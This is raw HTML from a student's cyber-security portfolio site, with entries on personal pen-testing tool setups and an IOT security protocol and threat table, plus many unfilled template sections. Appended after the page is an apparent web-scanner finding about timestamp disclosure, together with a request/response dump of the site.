HERE</p> <a href="PICTURE"><img class="img-fluid d-block mx-auto" src="SOURCE" alt=""></a> <ul class="list-inline"> <li>Date: DATE</li> <li>Client: CLIENT</li> <li>Category: CATEGORY</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal25" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">Fontys S7</h2> <p class="item-intro text-muted">My personal pen-testing toolboxes</p> <p>Like every other profession good tools make a world of difference on the quality and efficiency of the end product. This isn't any different with cyber security. Good tools can improve results providing you with more information and helping with getting to the results faster.</p> <h3>On the road</h3> <a href="img/portfolio/minor/red/kalilinux.jpg"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/kalilinux.jpg" alt=""></a> <p>On the road when I'm on my laptop I like to use Kali Linux. It's just convenient that it comes pre-loaded with all the tools you need, and it runs fairly lightweight on older laptops. The "kali-undercover" command is also a fun little gimmick that changes your Kali desktop to a Windows clone which for a random passer by looks just like a regular Windows machine. Making it incognito to use Kali whenever you're in a public space and want to keep a low profile.</p> <h3>At home</h3> <a href="img/portfolio/minor/red/parrotos.jpg"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/parrotos.jpg" alt=""></a> <p>At home on my main desktop PC I recently switched to natively running ParrotOS. This was because I liked to try something new and the reviews were good. It comes pre-loaded with the same tools as kali and a few extra tools like diverting all traffic trough tor making the machine even more anonymous. The user experience is a little better and just overall a good looking distro. This comes at a cost because it takes more resources to run. This isn't a problem on my PC because it's quite powerful and I don't have to think about battery life. Alongside ParrotOS I run a Windows VM in qemu with WinApps running on Linux which enables me to run any Windows application I want on Linux. I mostly use it for Microsoft Office products.</p> <h3>Cloud</h3> <a href="img/portfolio/minor/red/googlecloudconsole.PNG"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/googlecloudconsole.PNG" alt=""></a> <p>Google cloud console is an awesome way to always have a Linux machine at your disposal where ever you are. It's fully cloud based and free to use. So when you're in need of a Linux terminal and you have access to a browser you're set. The only downside is that the machine is volatile so when you shut it down it is gone. This requires you to always re-install tools and such. Luckily due to it running on Google cloud it is pretty fast. Just overall a good tool to know about.</p> <a href="img/portfolio/minor/red/guacamole.PNG"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/guacamole.PNG" alt=""></a> <p>Now Guacamole is kinda like Google cloud console, but it's self-hosted. It can turn any machine with a SSH server into a cloud based web terminal accessible from any browser where ever you are. It takes a little time and effort to set it up but it is worth it. All the benefits from Google cloud console but your data is hosted by you and it is saved. In my case I installed Kali Linux on a docker server and now I can access it whenever I need to it doesn't matter if I'm on Windows, Linux or even my phone.</p> <a href="img/portfolio/minor/red/guacamoleconsole.PNG"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/guacamoleconsole.PNG" alt=""></a> <h3>Windows</h3> <a href="img/portfolio/minor/red/wsl.jpg"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/wsl.jpg" alt=""></a> <p>Whenever I'm using Windows and need to do a quick little task that requires Linux I don't want to reboot and boot into Linux because it's a hassle. That's when I use WSL. WSL stands for Windows Subsystem for Linux and it works great. It's not everything for example network related stuff is not possible due to WSL not having direct access to the network card but for other simple stuff it works great. And if I need to do a quick little scan I can use the Windows version of NMap. And if I need a little more functionality I can always use the before mentioned Guacamole to have instant access to a fully functional Kali instance in my browser.</p> <ul class="list-inline"> <li>Date: September 2021</li> <li>Client: Fontys</li> <li>Category: Minor Red-teaming</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal26" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">Fontys S7</h2> <p class="item-intro text-muted">Security of IOT protocols and technology</p> <p>Nowadays more and more people have their home filled with smart devices. Almost everything is smart in some way. Which creates new problems like security. These products weren't made with security in mind, on the contrary, they were made to be cheap and easy to use for people without IT knowledge.</p> <p>This causes IOT products to be, the most of the time, the weakest link in someones network. But IOT is here to stay and it is improving fast so let's take a look at some common security protocols.</p> <table> <tr> <th>Protocol</th> <th>Feature</th> <th>TCP/UDP</th> <th>Security</th> </tr> <tr> <td>LOWPAN</td> <td>WPANs to maintain an IPv6 network</td> <td>TCP</td> <td>SSL</td> </tr> <tr> <td>MQTT</td> <td>To utilize the publish/subscribe pattern to provide transition flexibility and simplicity of implementation </td> <td>TCP</td> <td>SSL</td> </tr> <tr> <td>AMQP</td> <td>To provide publish-subscribe and point-to point communication</td> <td>TCP</td> <td>SSL</td> </tr> <tr> <td>CoAP</td> <td>To connect resource-constrained devices in a secure and reliable way</td> <td>UDP</td> <td>DTLS</td> </tr> <tr> <td>XMPP</td> <td>To transfer instant messaging (IM) standard that is used for multi-party chatting, voice and video calling and telepresence </td> <td>TCP</td> <td>SSL</td> </tr> <tr> <td>DSS</td> <td>To enable scalable, real-time, dependable, high-performance and interoperable data exchanges using a publish–subscribe pattern </td> <td>TCP/UDP</td> <td>SSL</td> </tr> </table> <p>To show the security flaws in IOT devices</p> <table> <thead> <tr class="rowsep-1 valign-top"> <th scope="col">Layers</th> <th scope="col">Attacks</th> <th scope="col">Issues</th> <th scope="col">Control Measures</th> </tr> </thead> <tbody> <tr class="valign-top"> <td class="align-left" rowspan="6">Perception</td> <td class="align-left">Hardware Tempering</td> <td class="align-left">Data Leakage (Keys, Routing Tables, Etc)</td> <td class="align-left">Secure Physical Design</td> </tr> <tr class="valign-top"> <td class="align-left">Fake Node Injection</td> <td class="align-left">Fake Data Manipulation</td> <td class="align-left">Secure Booting</td> </tr> <tr class="valign-top"> <td class="align-left">Malicious Code Injection</td> <td class="align-left">Halt Transmission</td> <td class="align-left">Intrusion Detection Technology (IDT)</td> </tr> <tr class="valign-top"> <td class="align-left">Sleep Denial Attack</td> <td class="align-left">Node Shutdown</td> <td class="align-left">Authentication</td> </tr> <tr class="valign-top"> <td class="align-left">WSN Node Jamming</td> <td class="align-left">Jam Node Communication</td> <td class="align-left">IPSec Security Channel</td> </tr> <tr class="valign-top"> <td class="align-left">RF Interference Of RFID</td> <td class="align-left">Distortion In Node Communication</td> <td class="align-left">Authentication</td> </tr> <tr class="valign-top"> <td class="align-left" rowspan="12">Network</td> <td class="align-left">Traffic Analysis Attacks</td> <td class="align-left">Data Leakage (About Network)</td> <td class="align-left">Routing Security</td> </tr> <tr class="valign-top"> <td class="align-left">RFID Spoofing</td> <td class="align-left">Intrusion In Network Data Manipulation</td> <td class="align-left">GPS Location System</td> </tr> <tr class="valign-top"> <td class="align-left">RFID Unauthorized Access</td> <td class="align-left">Node Data Can Be Modified (Read, Write & Delete)</td> <td class="align-left">Network Authentication</td> </tr> <tr class="valign-top"> <td class="align-left">Sinkhole Attack</td> <td class="align-left">Data Leakage (Data Of The Nodes)</td> <td class="align-left">Security Aware Ad Hoc Routing</td> </tr> <tr class="valign-top"> <td class="align-left">Man In The Middle Attack</td> <td class="align-left">Data Privacy Violation</td> <td class="align-left">Point-To-Point Encryption</td> </tr> <tr class="valign-top"> <td class="align-left">Routing Information Attack</td> <td class="align-left">Routing Loops (Network Destruction)</td> <td class="align-left">Encrypting Routing Tables</td> </tr> <tr class="valign-top"> <td class="align-left">Application Security</td> <td class="align-left">Privacy Violation</td> <td class="align-left">Web Application Scanner</td> </tr> <tr class="valign-top"> <td class="align-left">Data Security</td> <td class="align-left">Data Leakage (User Data On Cloud)</td> <td class="align-left">Homomorphic Encryption</td> </tr> <tr class="valign-top"> <td class="align-left">Underlying Infrastructure Security</td> <td class="align-left">Service Hijacking</td> <td class="align-left">Fragmentation Redundancy Scattering</td> </tr> <tr class="valign-top"> <td class="align-left">Third-Party Relationships</td> <td class="align-left">Data Leakage (User Data On Cloud)</td> <td class="align-left">Encryption</td> </tr> <tr class="valign-top"> <td class="align-left">Shared Resources</td> <td class="align-left">Resources Destruction</td> <td class="align-left">Hyper Safe</td> </tr> <tr class="valign-top"> <td class="align-left">Virtualization Threats</td> <td class="align-left">Resources Theft</td> <td class="align-left">Hyper Safe</td> </tr> <tr class="valign-top"> <td class="align-left" rowspan="6">Application</td> <td class="align-left">Phishing Attacks</td> <td class="align-left">Data Leakage (User Credentials Data)</td> <td class="align-left">Biometrics Authentication</td> </tr> <tr class="valign-top"> <td class="align-left">Virus, Worms, Trojan Horse, Spyware</td> <td class="align-left">Resource Destruction & Hijacking</td> <td class="align-left">Protective Software</td> </tr> <tr class="valign-top"> <td class="align-left">Malicious Scripts</td> <td class="align-left">Hijacking</td> <td class="align-left">Firewalls</td> </tr> <tr class="valign-top"> <td class="align-left">Denial Of Service</td> <td class="align-left">Resource Destruction</td> <td class="align-left">Access Control Lists</td> </tr> <tr class="valign-top"> <td class="align-left">Data Protection And Recovery</td> <td class="align-left">Data Loss & Catastrophic Damage</td> <td class="align-left">Cryptographic Hash Functions</td> </tr> <tr class="valign-top"> <td class="align-left">Software Vulnerabilities</td> <td class="align-left">Buffer Over Flow</td> <td class="align-left">Awareness Of Security</td> </tr> </tbody> </table> <a href="https://www.sciencedirect.com/science/article/pii/S108480452030237X#sec3">Source</a> <p>As seen in this article there are a lot of different vulnerabilities in IOT devices. And not all of them can be solved with just a good security protocol.</p> <a href="PICTURE"><img class="img-fluid d-block mx-auto" src="SOURCE" alt=""></a> <ul class="list-inline"> <li>Date: November 2021</li> <li>Client: Fontys</li> <li>Category: Minor Red-teaming</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal27" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">EMPLOYER</h2> <p class="item-intro text-muted">TITLE GOES HERE</p> <p>DESCRIPTION GOES HERE</p> <a href="PICTURE"><img class="img-fluid d-block mx-auto" src="SOURCE" alt=""></a> <ul class="list-inline"> <li>Date: DATE</li> <li>Client: CLIENT</li> <li>Category: CATEGORY</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal28" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">EMPLOYER</h2> <p class="item-intro text-muted">TITLE GOES HERE</p> <p>DESCRIPTION GOES HERE</p> <a href="PICTURE"><img class="img-fluid d-block mx-auto" src="SOURCE" alt=""></a> <ul class="list-inline"> <li>Date: DATE</li> <li>Client: CLIENT</li> <li>Category: CATEGORY</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal29" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">EMPLOYER</h2> <p class="item-intro text-muted">TITLE GOES HERE</p> <p>DESCRIPTION GOES HERE</p> <a href="PICTURE"><img class="img-fluid d-block mx-auto" src="SOURCE" alt=""></a> <ul class="list-inline"> <li>Date: DATE</li> <li>Client: CLIENT</li> <li>Category: CATEGORY</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal30" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">EMPLOYER</h2> <p class="item-intro text-muted">TITLE GOES HERE</p> <p>DESCRIPTION GOES HERE</p> <a href="PICTURE"><img class="img-fluid d-block mx-auto" src="SOURCE" alt=""></a> <ul class="list-inline"> <li>Date: DATE</li> <li>Client: CLIENT</li> <li>Category: CATEGORY</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal31" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">EMPLOYER</h2> <p class="item-intro text-muted">TITLE GOES HERE</p> <p>DESCRIPTION GOES HERE</p> <a href="PICTURE"><img class="img-fluid d-block mx-auto" src="SOURCE" alt=""></a> <ul class="list-inline"> <li>Date: DATE</li> <li>Client: CLIENT</li> <li>Category: CATEGORY</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal23" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">EMPLOYER</h2> <p class="item-intro text-muted">TITLE GOES HERE</p> <p>DESCRIPTION GOES HERE</p> <a href="PICTURE"><img class="img-fluid d-block mx-auto" src="SOURCE" alt=""></a> <ul class="list-inline"> <li>Date: DATE</li> <li>Client: CLIENT</li> <li>Category: CATEGORY</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal33" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">EMPLOYER</h2> <p class="item-intro text-muted">TITLE GOES HERE</p> <p>DESCRIPTION GOES HERE</p> <a href="PICTURE"><img class="img-fluid d-block mx-auto" src="SOURCE" alt=""></a> <ul class="list-inline"> <li>Date: DATE</li> <li>Client: CLIENT</li> <li>Category: CATEGORY</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal34" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">EMPLOYER</h2> <p class="item-intro text-muted">TITLE GOES HERE</p> <p>DESCRIPTION GOES HERE</p> <a href="PICTURE"><img class="img-fluid d-block mx-auto" src="SOURCE" alt=""></a> <ul class="list-inline"> <li>Date: DATE</li> <li>Client: CLIENT</li> <li>Category: CATEGORY</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal35" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">EMPLOYER</h2> <p class="item-intro text-muted">TITLE GOES HERE</p> <p>DESCRIPTION GOES HERE</p> <a href="PICTURE"><img class="img-fluid d-block mx-auto" src="SOURCE" alt=""></a> <ul class="list-inline"> <li>Date: DATE</li> <li>Client: CLIENT</li> <li>Category: CATEGORY</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal36" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">EMPLOYER</h2> <p class="item-intro text-muted">TITLE GOES HERE</p> <p>DESCRIPTION GOES HERE</p> <a href="PICTURE"><img class="img-fluid d-block mx-auto" src="SOURCE" alt=""></a> <ul class="list-inline"> <li>Date: DATE</li> <li>Client: CLIENT</li> <li>Category: CATEGORY</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal37" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">EMPLOYER</h2> <p class="item-intro text-muted">TITLE GOES HERE</p> <p>DESCRIPTION GOES HERE</p> <a href="PICTURE"><img class="img-fluid d-block mx-auto" src="SOURCE" alt=""></a> <ul class="list-inline"> <li>Date: DATE</li> <li>Client: CLIENT</li> <li>Category: CATEGORY</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal38" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">EMPLOYER</h2> <p class="item-intro text-muted">TITLE GOES HERE</p> <p>DESCRIPTION GOES HERE</p> <a href="PICTURE"><img class="img-fluid d-block mx-auto" src="SOURCE" alt=""></a> <ul class="list-inline"> <li>Date: DATE</li> <li>Client: CLIENT</li> <li>Category: CATEGORY</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal39" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">EMPLOYER</h2> <p class="item-intro text-muted">TITLE GOES HERE</p> <p>DESCRIPTION GOES HERE</p> <a href="PICTURE"><img class="img-fluid d-block mx-auto" src="SOURCE" alt=""></a> <ul class="list-inline"> <li>Date: DATE</li> <li>Client: CLIENT</li> <li>Category: CATEGORY</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal40" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">EMPLOYER</h2> <p class="item-intro text-muted">TITLE GOES HERE</p> <p>DESCRIPTION GOES HERE</p> <a href="PICTURE"><img class="img-fluid d-block mx-auto" src="SOURCE" alt=""></a> <ul class="list-inline"> <li>Date: DATE</li> <li>Client: CLIENT</li> <li>Category: CATEGORY</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <script data-cfasync="false" src="/cdn-cgi/scripts/5c5dd728/cloudflare-static/email-decode.min.js"></script><script src="vendor/jquery/jquery.min.js"></script> <script src="vendor/bootstrap/js/bootstrap.bundle.min.js"></script> <script src="vendor/jquery-easing/jquery.easing.min.js"></script> <script src="js/jqBootstrapValidation.js"></script> <script src="js/contact_me.js"></script> <script src="js/agency.min.js"></script> <script src="https://cdn.jsdelivr.net/gh/google/code-prettify@master/loader/run_prettify.js"></script> </body> </html>Evidence 908189033Solution Manually confirm that the timestamp data is not sensitive, and that the data cannot be aggregated to disclose exploitable patterns.
GET https://beekmans.dev/
Alert tags Alert description A timestamp was disclosed by the application/web server - Unix
Other info 998027574, which evaluates to: 2001-08-17 07:52:54
Request Request line and header section (224 bytes)
GET https://beekmans.dev/ HTTP/1.1 Host: beekmans.dev User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:82.0) Gecko/20100101 Firefox/82.0 Pragma: no-cache Cache-Control: no-cache Referer: https://beekmans.devRequest body (0 bytes)
Response Status line and header section (1039 bytes)
HTTP/1.1 200 OK Date: Mon, 06 Dec 2021 09:55:13 GMT Content-Type: text/html; charset=UTF-8 Connection: keep-alive vary: Accept-Encoding content-security-policy: default-src 'self' http: https: data: blob: 'unsafe-inline' x-frame-options: SAMEORIGIN x-xss-protection: 1; mode=block x-content-type-options: nosniff referrer-policy: no-referrer-when-downgrade strict-transport-security: max-age=31536000; includeSubDomains; preload CF-Cache-Status: DYNAMIC Expect-CT: max-age=604800, report-uri="https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct" Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=O9CfHQgObVNEaGCeR54qKKwytECMmlM5H0bXWDqJpVGo4vNUT18M2ld9NoeIDxTsPe1bzHv%2F9eh3xB7p6KNQNXYdikH5v2vQoVZ4Lqr2%2BgmRM8bXQ1W95L9VnzmijHE%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 6b94a326098f0c09-AMS alt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400, h3-28=":443"; ma=86400, h3-27=":443"; ma=86400Response body (178339 bytes)
<!DOCTYPE html> <html lang="en"> <head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no"> <meta name="description" content=""> <meta name="author" content=""> <title>Cyber portfolio</title> <link href="vendor/bootstrap/css/bootstrap.min.css" rel="stylesheet"> <link href="vendor/fontawesome-free/css/all.min.css" rel="stylesheet" type="text/css"> <link href="https://fonts.googleapis.com/css?family=Montserrat:400,700" rel="stylesheet" type="text/css"> <link href='https://fonts.googleapis.com/css?family=Kaushan+Script' rel='stylesheet' type='text/css'> <link href='https://fonts.googleapis.com/css?family=Droid+Serif:400,700,400italic,700italic' rel='stylesheet' type='text/css'> <link href='https://fonts.googleapis.com/css?family=Roboto+Slab:400,100,300,700' rel='stylesheet' type='text/css'> <link href="css/agency.min.css" rel="stylesheet"> </head> <body id="page-top"> <nav class="navbar navbar-expand-lg navbar-dark fixed-top" id="mainNav"> <div class="container"> <a class="navbar-brand js-scroll-trigger" href="#page-top">Cyber security</a> <button class="navbar-toggler navbar-toggler-right" type="button" data-toggle="collapse" data-target="#navbarResponsive" aria-controls="navbarResponsive" aria-expanded="false" aria-label="Toggle navigation"> Menu <i class="fas fa-bars"></i> </button> <div class="collapse navbar-collapse" id="navbarResponsive"> <ul class="navbar-nav text-uppercase ml-auto"> <li class="nav-item"> <a class="nav-link js-scroll-trigger" href="#services">Services</a> </li> <li class="nav-item"> <a class="nav-link js-scroll-trigger" href="#portfolio">Portfolio</a> </li> <li class="nav-item"> <a class="nav-link js-scroll-trigger" href="#about">About</a> </li> <li class="nav-item"> <a class="nav-link js-scroll-trigger" href="#team">Team</a> </li> <li class="nav-item"> <a class="nav-link js-scroll-trigger" href="#contact">Contact</a> </li> </ul> </div> </div> </nav> <header class="masthead"> <div class="container"> <div class="intro-text"> <div class="intro-lead-in">Welcome To My Portfolio!</div> <div class="intro-heading text-uppercase">It's Nice To Meet You</div> <a class="btn btn-primary btn-xl text-uppercase js-scroll-trigger" href="#services">Tell Me More</a> </div> </div> </header> <section id="services"> <div class="container"> <div class="row"> <div class="col-lg-12 text-center"> <h2 class="section-heading text-uppercase">Introduction</h2> <h3 class="section-subheading text-muted">My project.</h3> </div> </div> <div class="row text-center"> <div class="col-md-4"> <span class="fa-stack fa-4x"> <i class="fas fa-circle fa-stack-2x text-primary"></i> <i class="fas fa-shopping-cart fa-stack-1x fa-inverse"></i> </span> <h4 class="service-heading">Environment</h4> <p class="text-muted">I'm using my own Hyper visor (Microsoft's Hyper-V) on a private server in my home. I can connect via a VPN that's also running on this server to my home network to remotely manage the server and manage and deploy VM's. The server is an old DELL T310 with a Xeon x3440, 24GB ddr3 registered ecc 1333mhz memory and all VM's are installed on a Crucial MX500 ssd. The server is part of the home network just like every other computer in my home.</p> </div> <div class="col-md-4"> <span class="fa-stack fa-4x"> <i class="fas fa-circle fa-stack-2x text-primary"></i> <i class="fas fa-laptop fa-stack-1x fa-inverse"></i> </span> <h4 class="service-heading">Context</h4> <p class="text-muted">The network I'm building has as focus a webhosting company with some onsite employee's maybe a place for guests and some webservers hosting different websites.</p> </div> <div class="col-md-4"> <span class="fa-stack fa-4x"> <i class="fas fa-circle fa-stack-2x text-primary"></i> <i class="fas fa-lock fa-stack-1x fa-inverse"></i> </span> <h4 class="service-heading">Security</h4> <p class="text-muted">The network is secured by separating the webservers from the employees and guests on their own VLAN. The network is protected by a pfsense router running custom firewalls for every interface and running Surricata to identify and block possible threats.</p> </div> </div> </div> </section> <section class="bg-light" id="portfolio"> <div class="container"> <div class="row"> <div class="col-lg-12 text-center"> <h2 class="section-heading text-uppercase">Portfolio</h2> <h3 class="section-subheading text-muted">Cyber security.</h3> </div> </div> <div class="row"> <div class="col-lg-12 text-center"> <h4 class="section-subheading text-muted">Blue teaming semester</h4> </div> </div> <div class="row"> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal1"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/blue/01-thumbnail.png" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S3</h4> <p class="text-muted">Self assessment week 1</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal2"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid portfolio-image" src="img/portfolio/blue/02-thumbnail.gif" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S3</h4> <p class="text-muted">Network diagram V1</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal3"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/blue/03-thumbnail.jpg" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S3</h4> <p class="text-muted">Network diagram V2</p> </div> </div> </div> <div class="row"> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal4"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/blue/04-thumbnail.png" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S3</h4> <p class="text-muted">Secure connections</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal5"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/blue/05-thumbnail.png" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S3</h4> <p class="text-muted">IDS/IPS</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal6"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/blue/06-thumbnail.jpg" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S3</h4> <p class="text-muted">Information Security and Risk Analysis</p> </div> </div> </div> <div class="row"> <div class="col-md-4 col-sm-6 